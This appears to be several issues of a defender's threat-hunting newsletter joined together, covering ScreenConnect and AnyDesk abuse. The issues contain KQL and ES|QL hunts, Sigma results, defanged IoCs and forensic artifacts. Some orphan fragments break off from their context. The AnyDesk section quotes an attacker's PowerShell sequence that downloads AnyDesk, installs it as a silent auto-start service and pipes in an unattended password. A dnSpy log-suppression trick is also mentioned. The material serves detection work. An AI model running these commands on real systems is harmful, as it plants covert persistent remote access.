Advanced Hunting keeps a month. The slow intrusion you wanted to study ages out with it, and production was never a safe place to practise anyway: a query that returns nothing does not tell you whether it is wrong or the tenant is clean.

Microsoft gives anyone with a Microsoft account one free Azure Data Explorer (ADX) cluster. No Azure subscription, no credit card, full KQL, about 100 GB of storage. I keep my lab’s Defender data in one.

By the end of this issue you will have your own: eight Defender tables from a real lab intrusion, in a cluster that took me under two minutes to create and under one minute to load. Four steps, and each one ends with something you can check.

Why a free cluster beats the 30-day window

• A real intrusion, not a toy dataset. Keeping your own tenant’s data past 30 days is a different pipeline (export → storage → LightIngest); that one gets its own issue.

• Known answers. I already know what happened in this data, so you can check your query against the answer instead of hoping it is right.

• Defender’s own column names. A query you write here runs on your live tenant unchanged, apart from the two let lines that hold the time window.

Step 1: a free cluster in under two minutes

1. Go to My Cluster and select Create cluster.

2. Give it a display name, set Database name to case05, pick a location near you.

3. Accept the terms and select Create. Provisioning took under two minutes in my run.

Already have a free cluster? Add a database instead: on the cluster’s overview page, under Actions, pick Create database, select Create on the Create new database card, name it case05, then Create Database. Use a new, empty database: if a database already has Defender tables with these names, the script replaces them.

Step 2: eight tables, one paste, under a minute

The data and the script live in a public repo: github.com/Securityinbits/case-bundles.

1. Open case-05-anydesk/load.kql, select Raw, and copy all of it.

2. Open the cluster, select Query, and select the case05 database in the left pane.

3. Paste the whole script, select all of it, and Run. It finished in under a minute in my run.

What it does, in plain terms:

• externaldata(...) reads a CSV straight from a public URL, with Defender’s column names and types written out.

• .set-or-replace creates the table and fills it. Run it twice and you still get one copy, not two.

• .execute database script runs all eight in order and stops on the first error.

Subscribe now

Step 3: the row counts prove it loaded

union withsource=T DeviceProcessEvents, DeviceNetworkEvents, DeviceFileEvents, DeviceRegistryEvents,
      DeviceLogonEvents, DeviceEvents, DeviceImageLoadEvents, AlertEvidence
| summarize Rows=count(), First=min(Timestamp), Last=max(Timestamp) by T
| order by T asc

Your counts should match these exactly:

Every date falls on 26 June 2026. A different count means a table did not load fully: run the script again.

Step 4: your first hunt finds a renamed AnyDesk

This is the rarity query from my hunt pack. The data is a fixed day in June, so the time window sits in the two let lines at the top.

let StartTime = datetime(2026-06-26);
let EndTime = datetime(2026-06-27);
DeviceProcessEvents
| where Timestamp between (StartTime .. EndTime)
| where ProcessVersionInfoCompanyName == "AnyDesk Software GmbH" or ProcessVersionInfoProductName == "AnyDesk"
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Hosts=dcount(DeviceId),
            HostList=make_set(DeviceName,10), Users=make_set(AccountName,10)
    by FileName
| where Hosts <= 3
| order by Hosts asc, LastSeen desc

Expected: two rows. Invoice_Viewer.exe on one host, AnyDesk.exe on the other. The same AnyDesk binary under a name that is not its own, on one box. That is what rarity catches.

On your own tenant, change the two let lines to ago(30d) and now() and the same query runs live.

Want more practice before next week? The rest of my hunt pack runs on this same data. In each query, replace the Timestamp > ago(...) filter with Timestamp between (datetime(2026-06-26) .. datetime(2026-06-27)).

That was one query on one table. Next Wednesday: the full AnyDesk intrusion as a hunt exercise. Two workstations, an attended and an unattended install, five things to find, from easy to hard, and the worked answers. The answers are for subscribers, and subscribing is free.

If this was useful, forward it to whoever on your team is learning KQL. That is how the next defender finds it.

For the video I ran the scan again, this time through a ligolo-ng pivot.

What the video adds over the issue:

1. The scan landing in Defender Advanced Hunting (KQL), and the same sweep in Elastic ES|QL.

2. How I tell an admin running a scanner from an operator doing discovery.

3. A pivot trap: the operator came in through a ligolo-ng tunnel, so the victim logged the pivot host as the RDP source, not the attacker’s machine.

It was also the whole attack.

That is the problem in one line. The maliciousness was in who owned the instance, not in the binary. The attacker did not repack anything, did not steal a certificate, did not need a zero-day, and did not need AI to do any of it. They signed up for a ScreenConnect cloud instance, built a client, wrapped it in a lure, and let ConnectWise sign it for them.

Huntress put ScreenConnect at 74.5% of the abused remote-access tools they see, ahead of RDP, LogMeIn, TeamViewer, Atera and the rest. So I detonated two real samples and hunted them on both stacks I run, to find out what the telemetry actually holds, which queries actually fire, and which ones only look like they do.

The second sample then did the thing that changes how you hunt this tool. It did not drop one implant. It dropped two, and they were not alternatives.

The first was the vendor-signed client talking to ConnectWise’s own cloud relay, and it is allowed to look like legitimate software because looking legitimate is its entire job. Roughly nine minutes later a second one appeared, pushed by hand through the first, dialling a relay the operator owns outright. That one shipped a config file that switches off the tray icon, the connect notification and the banner telling the user they are being watched. One implant to get in. One to stay, built to be invisible while it does.

Everything below is aimed at catching both, because remediating the one your alert fired on leaves the second one installed as a service, dialling a relay you have not seen yet.

Plenty has already been written about ScreenConnect abuse, including about clients that arrive correctly signed, and the best of it is linked further down. What I can add is the endpoint view underneath it. This is AI-assisted, human-validated detection, proven on real lab telemetry: two samples, dual-stack across Microsoft Defender (KQL) and Elastic (ES|QL), every query and every alert pulled from the live stores rather than from memory. Including four places where I had it wrong and the telemetry corrected me, and the log I had not collected that turned out to name the operator on the keyboard.

How it lands: a lure, a rented instance, and a real signature

Both samples arrived the same way, and it is the same way most of them arrive: a fake update page, a poisoned search result, a brand-impersonation lure. A lure page auto-redirected to an attacker-controlled ScreenConnect cloud instance, which served a genuine, ConnectWise-signed client pre-baked with its own launch parameters. Sample 1 came off hxxps://eventvenue[.]ink/view/windows_download.php, a “Blue Mountain” eCard brand impersonation that auto-downloaded after three seconds. Sample 2 came off a second lure, a fake insurance-document page.

The download host and the relay host share no name

The file the lure served came from the attacker’s own cloud tenant, hxxps://westville[.]screenconnect[.]com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest. Here is the first trap. Same ConnectWise tenant each time, two unrelated-looking DNS names each time:

Nothing on the endpoint links them except the h= launch parameter and Defender’s FileOriginUrl field. A hunt that pivots on the relay domain alone never reaches the delivery host, and a hunt on the delivery host never reaches the relay. Collect both or you get half the infrastructure.

The trust field would have dropped both samples

Defender did flag sample 2: its antivirus convicted the installer on write as Trojan:Win32/Sonbokli.A!cl, and its behavioural side independently raised Uncommon remote access software on the client. I turned real-time protection off deliberately to watch what the sample did next.

What the signature check would not have done is stop any of it. Both samples were validly signed by ConnectWise LLC, DigiCert Trusted G4. The instinct to filter on SignatureStatus != "Valid" or code_signature.trusted == false would have dropped both samples outright. A cloud-built client is the vendor’s own file. There is nothing to be unsigned about. A file can carry a valid vendor signature and a malware verdict from the same product at the same moment. An AV conviction is a control to have switched on. A trust field is not a hunting predicate. The rest of this piece is about the second claim.

Hunt it: provenance, vendor identity, and the relay, not trust and not the path

If a valid vendor signature is the normal case rather than the exception, what is left to key on? Five things that held on real telemetry.

1. Provenance is the earliest anchor, and it is Defender-only

Defender’s FileOriginUrl carried the full westville[.]screenconnect[.]com download URL, captured at write time, before anything executed. It survives a rename. Elastic recorded the file event but has no origin equivalent at all. Earliest, rename-proof and unique to one stack is what makes it the first anchor rather than a nice-to-have.

// ScreenConnect installer arriving from the internet, with its download origin
let lookback = 30d;                                                           
DeviceFileEvents
| where Timestamp > ago(lookback)
| where FileName has "ScreenConnect" or FileOriginUrl has "screenconnect.com" 
| where isnotempty(FileOriginUrl)                                             
| project Timestamp, DeviceName, FileName, FolderPath, FileOriginUrl, FileOriginReferrerUrl, SHA256

Three origin fields sit on that row, and they are not equal:

• FileOriginUrl: the attacker’s tenant, captured at write time. The anchor.

• FileOriginReferrerUrl: the page the user was standing on when the download fired, hxxps://eventvenue[.]ink/ for sample 1 and hxxps://parvellainsurance[.]com/ for sample 2. Take it with the first: one field gives you the tenant, the next gives you the lure that sent them there, and together they are the whole delivery chain from one file event.

• FileOriginIP: empty on every one of the 22 rows in my tenant with a populated FileOriginUrl. It looks like a free extra column and is not one.

What this does not catch: an installer renamed to something innocuous and pulled from a self-hosted server, where neither the filename nor the URL says ScreenConnect. No origin predicate covers that. The bigger limit: the second implant never touched a browser, so it has no FileOriginUrl to find. The origin fields catch stage one and are structurally blind to stage two.

Subscribe now

2. Match on vendor identity, never on trust status

This is the counter-intuitive one, and it is the lesson of the whole case. The valid ConnectWise signature that defeats the signature-status filter is the exact field that catches the tool, if you read it the other way.

Do not ask “is this untrusted.” Ask “is this a remote-management vendor’s binary running where one should not be.”

That is what caught both samples on Elastic. Match on process.code_signature.subject_name being a known RMM vendor. Same attribute as the naive filter, opposite polarity.

FROM logs-endpoint.events.process-*
| WHERE @timestamp > NOW() - 30 days
| WHERE event.action : "start"
| WHERE STARTS_WITH(process.code_signature.subject_name, "ConnectWise")   
| STATS firstseen = MIN(@timestamp), events = COUNT(*), paths = TOP(process.executable, 5, "asc")
    BY host.name, process.name, process.code_signature.subject_name, process.code_signature.trusted

One predicate, five binaries, and trusted reads true on every row. That column is the argument.

Treat code_signature.trusted as an enrichment field to display, never as the discriminator. And resist the urge to add PE-metadata fallbacks next to it - I tried, and process.pe.company is null on every process event this stack has ever written. A leg that cannot fire does not widen a rule, it just hides how narrow the rule is.

3. The relay classifier, read off a sample you did not build

You can read cloud-trial versus self-hosted straight off the client’s own launch parameters and network destination, without building the client yourself.

• Cloud / trial: h=instance-<id>-relay.screenconnect.com, port 443, a *.screenconnect.com DNS name, and a valid ConnectWise signature.

• Self-hosted / rogue: a bare IP or a foreign domain, typically on port 8041.

Sample 1 classified as cloud/trial from h=instance-fmjh7r-relay[.]screenconnect[.]com:443. Sample 2 dropped two implants. One cloud (instance-n70ets-relay[.]screenconnect[.]com:443, resolving to 51.79.41[.]235) and one self-hosted (wonderxp[.]top:8041, resolving to 103.60.12[.]75). The classifier read both correctly off a sample nobody in the lab constructed.

// ScreenConnect relay callback: cloud (443, *.screenconnect.com) vs self-hosted (8041 or a foreign host)
let lookback = 30d;                                                       
DeviceNetworkEvents
| where Timestamp > ago(lookback)
| where InitiatingProcessFileName =~ "ScreenConnect.ClientService.exe"
| where ActionType == "ConnectionSuccess"
| extend RelayModel = case(RemoteUrl matches regex @"(?i)instance-[a-z0-9]+-relay\.screenconnect\.com", "cloud/trial",
                           isnotempty(RemoteUrl) and RemoteUrl !endswith "screenconnect.com", "self-hosted",
                           RemotePort == 8041, "self-hosted",
                           "review")
| project Timestamp, DeviceName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort, RelayModel

This is the only query in this piece that tells the two implants apart. Everything else here tells you a ScreenConnect client is present. The relay value tells you whose. It is also the one place a shipping rule caught the stage that mattered: Elastic’s Newly Observed ScreenConnect Host Server fired high on wonderxp[.]top, the only alert on either stack that flagged the self-hosted implant. Nothing in sample 1 could ever have triggered it, because sample 1 never left the official cloud.

The client’s own status pane corroborates the read with no telemetry at all: it prints relay://instance-<id>-relay.screenconnect.com:443/ on screen.

4. Anchor persistence on the launch string, not on a temp path

The research pointed at C:\Windows\SystemTemp\ScreenConnect\<version>\ as an install location. It is not one. The client installed under C:\Program Files (x86)\ScreenConnect Client (<thumbprint>)\ and the service registered there, so do not scope an install detection to SystemTemp. Do not write it off either: it turned out to be one of the best signals in the case, for a different reason. Empty on sample 1, populated on sample 2, and the difference was not the sample but whether an operator pushed a file.

The durable anchor is the service install. Both samples wrote an EID 7045 service named ScreenConnect Client (<thumbprint>), running as LocalSystem, auto-start. Sample 2 wrote two of them, nine minutes apart, and that count is the tell: ScreenConnect names each service after its instance thumbprint, so a second server means a second service sitting alongside the first. Remove the implant every alert fired on and the other one is still there, still set to auto-start. In Defender that lands in DeviceEvents as ActionType == "ServiceInstalled", with the service name in AdditionalFields.

If you have no EDR at all, Sysmon carries this on its own, and it is worth knowing exactly which events do the work. Two fire per implant, in this order:

• Event ID 13, RegistryEvent (Value Set). The service registration writes HKLM\System\CurrentControlSet\Services\ScreenConnect Client (<thumbprint>)\ImagePath, and that value carries the full launch string, relay and port included. One per implant, the same count-the-services tell from a different log.

• Event ID 22, DNSEvent. ScreenConnect.ClientService.exe resolving its relay: instance-n70ets-relay[.]screenconnect[.]com, then wonderxp[.]top.

The ordering is the useful part. The registry write beats the DNS lookup by about half a second in both cases, 17:01:01.252 before 17:01:01.782 and 17:09:44.914 before 17:09:45.811. The relay host is in the registry before the client has resolved it, so you can read the C2 destination off a host that never got its packet out. The registry write is T1543.003, Create or Modify System Process: Windows Service, and both events are there on any box running Sysmon.

Read the role off the client process, not off the service event:

// The e=Access&y=Guest role and the h= relay host live on the client process cmdline
let lookback = 30d;                                              
DeviceProcessEvents
| where Timestamp > ago(lookback)
| where FileName =~ "ScreenConnect.ClientService.exe"
| where ProcessCommandLine has "y=Guest"                         
| project Timestamp, DeviceName, FileName, ProcessCommandLine, InitiatingProcessFileName

Access means an unattended-access role, which makes this persistence rather than a one-off support session, and it survives both install modes. One field carries both the persistence tell and the cloud-versus-self-hosted read, so read it in full rather than matching on it and discarding it.

5. The community Sigma rules already cover a lot of this

You do not have to write all of this yourself to get a first pass. I ran Hayabusa, a Sigma engine, over the collected event logs offline. Three SigmaHQ rules fired on the sample-2 telemetry, all medium:

• Remote Access Tool - ScreenConnect Execution (57bff678), on Sysmon 1. Catches the client running, and survives a rename because it keys on the binary’s own identity.

• Remote Access Tool - ScreenConnect Remote Command Execution - Hunting (d1a401ab), on Sysmon 1 and Security 4688. This is the child-process angle.

• DNS Query To Remote Access Software Domain From Non-Browser App (4d07b1f4). The non-browser exclusion is the clever part: Edge resolving the lure host is ignored, the service resolving its relay is not.

That is a real result against event logs you already collect, and it is portable: Sigma converts to whatever backend you run, so none of it is locked to the stack I happened to test on.

One caveat if you deploy it as-is. The Hunting rule matched roughly 210 helper-process hits on this one host. It is labelled a hunting rule and behaves like one: tune it before it goes anywhere near an alert queue.

The Backstage ancestry from the next section is not in the public ruleset yet. That is a rule worth writing, and I intend to contribute one.

The two stages: what gets in versus what they keep

Sample 2 is the one that changes how you hunt this tool.

The pattern itself is documented. Elastic’s SilentConnect write-up shows both branches, cloud and self-hosted, in one campaign, and Huntress describes exactly this stacking on one host: a rogue trial instance, a second the same day, then a third on a self-hosted relay days later, with FleetDeck as backup RMM. If you read one other thing on this, read that. What I can add is the compressed version, watched end to end: both implants on one host nine minutes apart, the second pushed through the first by a human visible in the process tree, and the difference between them still on disk afterwards.

The handoff, in order

1. The cloud client installs. The vendor-signed client you have met already, dialling instance-n70ets-relay[.]screenconnect[.]com on 443.

2. Four minutes later, a human takes the session. Not as a cmd.exe or powershell.exe child, which is what I had predicted and what most child-shell rules watch for. As ScreenConnect.WindowsBackstageShell.exe, spawned by ScreenConnect.ClientService.exe. Backstage is ScreenConnect’s hidden shell: a full command environment with no window on the user’s desktop. A rule keyed on cmd or powershell would have watched the whole session happen and said nothing.

3. The operator pushes a second installer. ScreenConnect’s RunFile command drops it into C:\Windows\SystemTemp\ScreenConnect\<version>\Temp\ and runs it. That is the SystemTemp beat from earlier: not an install path, an operator staging path. A file written there and then executed means a human pushed something. Whether that human was authorised is the next question, and the file will not answer it.

4. A second service registers, and that one dials wonderxp[.]top on 8041, a foreign domain on the classic self-hosted port.

The product logs the operator by name

One more place to look, and it is the cheapest evidence in this piece. ScreenConnect keeps its own Application event log, and it records the operator’s session by name. No EDR, no Sysmon, no query language. Just Windows Logs -> Application, filtered to source ScreenConnect.

Three event IDs carry it:

• 100 / 101, a Host user connected and disconnected. The body names the operator’s own session label, the relay URL and the instance fingerprint. Here that is scream care on the cloud implant and spacex7 on the self-hosted one. Two different labels, so the second implant was not a copy of the first.

• 201, files transferred. Transferred files with action 'Run': ScreenConnect.ClientSetup (1).msi. That is the second implant pushed through the first, named, action stated, logged by the product.

It also corrected me. Every other source I had went quiet after 17:09:46, so I had the operator down as four and a half minutes of work. The Application log has spacex7 disconnecting at 17:17:46. Actual dwell was about twelve and a half minutes, and they logged off deliberately rather than dropping. I only found that because I went back for a log I had not collected the first time.

Every other source went quiet at 17:09:46. The product’s own log had the operator still working until 17:17:46. The difference between those two numbers is the difference between a four minute incident and a twelve minute one.

One caveat worth carrying: these events are suppressible. Hunt & Hackett showed in 2021 that patching one call out of the unsigned ScreenConnect.Core.dll with dnSpy silences every ScreenConnect event while the client keeps working. Treat them as strong corroboration, never as the thing you rely on.

Why two, and why one is disposable

The published answer is redundancy. Huntress puts it directly: stacking relays “ensures the attacker maintains access even if one relay is discovered and removed”, and they treat multiple ScreenConnect instances on one host, especially trial instances you did not deploy, as a strong indicator of compromise on its own. Microsoft, Acronis and others describe the same behaviour with different second tools: Tactical RMM, MeshAgent, FleetDeck. Remediate the implant your alert fired on, miss the other, and the intrusion continues. The economics agree. A trial instance is instant, free, correctly signed and on a domain plenty of estates already allowlist because real MSPs live there. It is disposable by design. A relay you own is not, and wonderxp[.]top had been running since April, which is not throwaway infrastructure.

What is on disk: a silent config and a fifteen-month-old build

My samples add a second reading, and it is an inference from one host rather than something the literature says: the two implants were not configured the same way. The self-hosted implant shipped an app.config that turns off every user-visible indicator, no tray icon, no “you are being controlled” banner, no connect toast. The cloud implant shipped no such file and ran the visible defaults. The signed client gets them in. The self-hosted one is what they keep, and that intent is on disk.

The second finding is in the timestamps. Both implants landed on the same host the same afternoon, but their files are not from the same era: the cloud client’s configs are stamped 3 September 2026, the self-hosted client’s 13 June 2025. Fifteen months apart in one directory listing.

The client that gets them in is whatever ConnectWise ships this week, built fresh from a trial instance on the day. The client they keep came from a self-hosted server nobody has rebuilt in over a year. Two consequences for the hunt:

• The self-hosted binary will not match the hash or version of any current vendor release, so a rule pinned to what ScreenConnect ships today walks past the implant that matters.

• A build that old is not disposable, the same conclusion wonderxp[.]top supports from the network side. The trial instance is meant to be burned. The other one is somebody’s kit.

On this sample, the stage the operator keeps is configured for silence. Whether every self-hosted build is assembled that way is not something one host can tell you. A hunt that stops at “is this the official ConnectWise cloud?” waves the first implant through and never sees the second.

Collect the box: the answers are still on disk

If your queries put a ScreenConnect client on a box behaving like an operator tool, the evidence is on disk, and the box will tell you every piece of infrastructure it was built to talk to.

• system.config carries the h= relay host, p= port and the RSA key launch constraint. Read the relay model straight off it, statically, without waiting for a callback.

• The EID 7045 service names the thumbprint and holds the full launch string, e=Access&y=Guest included.

• The infrastructure is never one host. FileOriginUrl gives you the delivery instance (westville[.]screenconnect[.]com on sample 1, screamingacresmi[.]screenconnect[.]com on sample 2). The launch string and the network events give you the relay. Sample 1 named two hosts. Sample 2 named three, because the second implant added wonderxp[.]top on 8041. They look unrelated. Collect all of them before you block any of them.

• The operator’s traces. ScreenConnect.WindowsBackstageShell.exe under the service is your join, and anything under C:\Windows\SystemTemp\ScreenConnect\<version>\Temp\ is what they staged. Pull the staged file before the box is reimaged. On sample 1 the relay held the session but no operator joined in the window, so absence here is a finding, not a failure.

Six checks, none of them a trust filter

An attacker does not need malware, a repack, or a stolen certificate to put a remote-access implant on your estate. A cloud instance and a lure are enough, and the client will be validly signed on arrival. So stop asking whether the binary is trusted.

• Provenance: DeviceFileEvents with a populated FileOriginUrl and a ScreenConnect filename or download host. Earliest signal you get, and Defender-only.

• Vendor identity, not trust: match code_signature.subject_name against an RMM vendor list. The valid signature is the catch, not the alibi.

• The relay model: instance-<id>-relay.screenconnect.com:443 is cloud/trial, a foreign host on 8041 is self-hosted, and a newly observed relay host is your high-severity signal.

• Persistence: the EID 7045 service image path containing e=Access&y=Guest, not a temp path.

• Count the instances. More than one ScreenConnect Client (<thumbprint>) service on a host you did not deploy to is an indicator on its own. Huntress says the same from their incident data, and it is the cheapest check on this list.

• Operator on the keyboard: ScreenConnect.WindowsBackstageShell.exe spawned by the service, plus a file written under C:\Windows\SystemTemp\ScreenConnect\*\Temp\ and then executed. Correlate the two and you have the two-stage handoff, not a maybe.

If your estate does not run ScreenConnect and you see it, that alone is your investigation. If it does, the same evidence sorts a sanctioned MSP session from an attacker: one or two hosts instead of the fleet, a relay you did not sanction, an Access role you did not deploy.

Every KQL and ES|QL query in this issue is on GitHub so you can lift them in one go: github.com/Securityinbits/defender-hunt-queries.

The next analyst to see Uncommon remote access software in the queue will be tempted to read “remote access software,” think probably IT, and close it. The two samples say otherwise. One of them had a human on the keyboard four minutes later, and the implant that human left behind never raised that alert at all. Closing it does not close the incident. It just ends your half of it.

IoCs

Both are real, both were detonated in my own lab, and both are ConnectWise-signed. Initial download URL and SHA256:

• Sample 1, the MSI off the eventvenue[.]ink lure: hxxps://westville[.]screenconnect[.]com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest af83740c821f78f517c7a738812340ccc31f34ab9b1dce69c268cb6d5114c6de

• Sample 2, the EXE off the parvellainsurance[.]com lure, the one that dropped two implants: hxxps://screamingacresmi[.]screenconnect[.]com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest&t=special 51afcda155489ac824f04f1a36aba49c5d5a4464180b82fc3c66e05bd7860769

P.S. This is the second deep dive in the RMM abuse series, after AnyDesk. The signature-versus-identity lesson generalises: match on what the tool IS, not on whether it is trusted.

If this was useful, forward it to whoever runs your alert queue. That is how the next defender finds it.

Leave a comment

That is the whole problem in one line.

AnyDesk appears in more ransomware toolsets than any other remote-access tool. 32 groups in the Ransomware Tool Matrix, the longest row in the table by a wide margin. Akira is one of the 32, confirmed by CISA in AA24-109A, and Akira intrusions have gone from initial access to encryption in under four hours. Fog uses it too. It is signed, it is legitimate, and that is exactly why it works: your tooling sees a real tool doing a real thing.

That Medium only exists because AnyDesk is rare in your tenant; in a shop that actually runs AnyDesk, even that signal is gone. So the alert, when you get one, tells you AnyDesk is present. It does not tell you whether it is your help desk or your attacker. The answer is in the tool’s own behavior and the files it writes to disk, and it is the point of this piece.

I ran AnyDesk in my lab the way ransomware crews run it, both the attended fake-IT-call version and the unattended service install Fog deploys, tested every query below in MDE, and pulled the forensic artifacts by hand.

By the end you will hunt AnyDesk by behavior instead of filename, and tell legit from planted in minutes. And if it is planted, you will know exactly which files name the operator, and how to grab them before a reimage erases them. Start with how it lands, because that decides what you hunt for and what you collect.

How AnyDesk lands: two ways, and the split decides everything

Get this wrong and you go hunting for artifacts that were never written. AnyDesk lands on a machine two ways, and each leaves a different set of evidence, so before you write a single query you need to know which one you are looking at. I ran both in the lab so you do not have to.

The attended way (non-admin, portable)

The operator talks a user into running a portable AnyDesk out of their own profile. No install, no admin. In my lab it arrived as Invoice_Viewer.exe, dropped into %TEMP% (C:\Users\<user>\AppData\Local\Temp), and launched straight from there. The operator dials the victim’s AnyDesk ID, and the victim has to click Accept for the session to open. This is the vishing variant: “I’m from IT, run this so I can fix your machine.” Because nothing is installed and nothing is elevated, it keeps its config and trace files under %APPDATA%\AnyDesk\ and writes no registry persistence at all.

The attended session cannot open until the victim clicks Accept; this prompt is the whole social-engineering step.

The unattended way (admin, service)

This is how Fog and most ransomware crews deploy it, after they already hold local admin. The DFIR Report’s “Navigating Through the Fog” documents the exact sequence, automated by a PowerShell script (any.ps1): make the folder, download the binary, install it as a service, then set an unattended password by piping it in.

mkdir "C:\ProgramData\AnyDesk"
(new-object System.Net.WebClient).DownloadFile('http://download[.]anydesk[.]com/AnyDesk.exe','C:\ProgramData\AnyDesk.exe')
C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
echo Admin#123 | C:\ProgramData\anydesk.exe --set-password

Now the operator connects with that password and nobody clicks anything. The session just opens. It registers a service (HKLM\...\Services\AnyDesk, Automatic start), writes its trace under %PROGRAMDATA%\AnyDesk\, and survives every reboot. That is persistence, not a phone call.

The split in one frame: left still waiting on Accept, right already connected under an “Unattended Access” profile.

Hold onto the two trace paths in that table, because they decide where you look later: search the wrong one and you will conclude there is no evidence when there is. And the split is the spine of the whole piece: a password set from the command line plus a service that survives reboot is persistence, the ransomware path; a user clicking Accept on a portable is social engineering, the phishing path.

Now that you know what it does on the box, here is how to find it in MDE without trusting the one thing the attacker controls: the filename.

Subscribe now

Hunt it in MDE: stop trusting the filename

The attacker’s first move against your detections is the laziest one that works: rename the binary. AnyDesk.exe becomes Invoice_Viewer.exe, and every rule keyed on FileName == "anydesk.exe" goes quiet. So you stop hunting the name and hunt what the attacker did not bother to change.

The field that fires on nothing

Here is where I burned myself, and it is worth two minutes because it is the exact mistake that ships a dead rule.

The renamed binary still carries AnyDesk’s PE version-info. My instinct was to harden onto OriginalFileName, the field that is supposed to survive a rename because it is compiled into the PE. I wrote the rule, pointed it at real lab telemetry, and it matched nothing. Zero rows.

AnyDesk does not populate OriginalFileName. It is empty. The field everyone reaches for first is the one field AnyDesk leaves blank, and a rule built on it fires on nothing while looking perfectly reasonable in review. The three fields that are populated, and do survive the rename:

• CompanyName = “AnyDesk Software GmbH”

• ProductName = “AnyDesk”

• FileDescription = “AnyDesk”

Right-click Properties on Invoice_Viewer.exe: File description AnyDesk, Product name AnyDesk, Copyright AnyDesk Software GmbH. The rename never touched the fields that matter.

If you started from the SigmaHQ AnyDesk rules, you were already safe, because they key on exactly those three. The lesson is about the field, not Sigma: before you bet a detection on a PE field, confirm your binary actually sets it. Validate on real telemetry, or you ship a rule that quietly never fires.

1. Identity: what the rename could not change

Here is the working hunt: rename-proof identity, restricted to the user-writable paths where a portable remote-management (RMM) tool has no business running.

DeviceProcessEvents
| where Timestamp > ago(1d)
// rename-proof AnyDesk identity - OriginalFileName is EMPTY for AnyDesk, do NOT use it
| where ProcessVersionInfoCompanyName == "AnyDesk Software GmbH"
    or ProcessVersionInfoProductName == "AnyDesk"
    or ProcessVersionInfoFileDescription == "AnyDesk"
| where FolderPath contains @"\Users\" or FolderPath contains @"\Downloads\"
    or FolderPath contains @"\AppData\" or FolderPath contains @"\Temp\"
    or FolderPath contains @"\ProgramData\" or FolderPath contains @"\Public\"
| where FolderPath !startswith @"C:\Program Files"
| project Timestamp, DeviceName, AccountName, FileName, FolderPath,
          ProcessVersionInfoCompanyName, ProcessVersionInfoFileDescription,
          ProcessVersionInfoProductName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc

In the lab this returned 35 events, and it caught both faces of the same tool: Invoice_Viewer.exe running from ...\AppData\Local\Temp\ and the untouched AnyDesk.exe from C:\ProgramData\, side by side, every row stamped “AnyDesk Software GmbH.”

2. Rarity: how many hosts have ever run it

Now narrow it to what is suspicious. A sanctioned RMM is deployed everywhere or nowhere; a planted one lands on one or two machines. So drop the path filter, widen to 30 days, summarize by filename, and keep only what ran on three hosts or fewer.

Two rows in my lab, AnyDesk.exe on one host and Invoice_Viewer.exe on one host, both well under the threshold. Prevalence beats signatures for RMM abuse: instead of matching a name, you are asking how many of your machines have ever run something carrying AnyDesk’s fingerprints, and a renamed copy on a single endpoint is the answer that should stop you.

3. Behavior: the piped password

Presence and rarity tell you AnyDesk is here and unusual. The next query is the highest-fidelity AnyDesk tell there is: the unattended-password setup from the last section. A person never produces it. Setting that password by hand is Settings > Access > Set password, which never touches the command line, so a piped --set-password is always something scripted.

DeviceProcessEvents
| where Timestamp > ago(1d)
| where ProcessCommandLine contains "--set-password"
    or (InitiatingProcessCommandLine contains "set-password"
        and InitiatingProcessCommandLine has "echo")
| project Timestamp, DeviceName, AccountName, FileName, FolderPath,
          ProcessVersionInfoCompanyName, ProcessCommandLine,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp asc

Six hits, and the command line is the evidence: cmd.exe /c "echo Admin#123 | ...\AnyDesk.exe --set-password", the password sitting in plaintext. This one does not care about the rename, because it keys on the command line, not the file.

One caveat before you alert on it. AnyDesk documents this same piped command for mass deployment, so baseline your own rollout first. The two look nothing alike:

• Sanctioned rollout: many hosts inside one change window, parented by your deployment agent.

• Operator: one or two hosts, parented by powershell.exe into cmd.exe.

• No AnyDesk in your estate: nothing to baseline. This is your smoking gun.

4. Destination: it cannot rename the relay

AnyDesk cannot rename its destination. An attacker can strip the PE metadata as well as rename the file, but every client still bootstraps to boot.net.anydesk.com and then a relay-*.net.anydesk.com server, and that is a fact about AnyDesk’s infrastructure, not about the binary the attacker controls.

So pivot to DeviceNetworkEvents and match RemoteUrl endswith ".anydesk.com". In the lab the renamed invoice_viewer.exe lit up hitting relay-*.net.anydesk.com on 443, and the same match caught the stage before runtime: curl.exe pulling the payload from download.anydesk.com.

Baseline *.net.anydesk.com across your fleet once. After that, any host reaching it that you did not sanction is a lead, even when the process name is a lie.

One query, the full chain: curl.exe → download.anydesk.com, then invoice_viewer.exe reaching boot.net.anydesk.com and relay-*.net.anydesk.com.

Four queries, four angles: identity, rarity, behavior, destination. Together they move you from “is AnyDesk here” to “it is here, on one box, with a password piped into it, calling an AnyDesk relay.” That is no longer a maybe.

All four are copy-pasteable in the hunt pack, so you do not have to retype them off a screenshot: github.com/Securityinbits/defender-hunt-queries.

A faster first pass: SigmaHQ

You do not have to run any of this cold. SigmaHQ ships AnyDesk rules that key on the same three rename-proof PE fields, so the community ruleset already survives the Invoice_Viewer.exe trick out of the box, and it is platform-independent. I loaded it into my lab’s SIEM and watched seven AnyDesk rules fire across both scenarios from the sections above:

If you operationalize only two, take Piped Password Via CLI and Service Installation: they key on scripted setup rather than anything a user clicks, so once you have excluded your own deployment they belong in the alert queue.

Share

Execution and Temporary Artefact sit at the other end; in a shop with sanctioned AnyDesk they hum constantly, so route them to a hunting view.

One gap worth knowing: the suspicious-folder rule excludes \AppData\, and %TEMP% lives under \AppData\Local\Temp. In my lab it never fired on the portable scenario, only on the C:\ProgramData install. That blind spot is exactly what the path filter in the first query covers. All seven rules live in the SigmaHQ repo under rules/windows.

Sigma and KQL answer the same question: is AnyDesk running here. Neither answers the one you actually need in an incident, which is whether this is your help desk or your attacker.

You found it. Work the host before it is gone.

Your queries have put AnyDesk on a specific box, behaving like an operator tool. Detection is done. Everything from here lives on the host, in files AnyDesk writes about itself, and every one of them dies the moment someone reimages the machine. Pull them first.

connection_trace.txt: how they got in

AnyDesk logs every incoming session to connection_trace.txt (%APPDATA%\AnyDesk\ for a portable run, %PROGRAMDATA%\AnyDesk\ for the service). Each line records the approval:

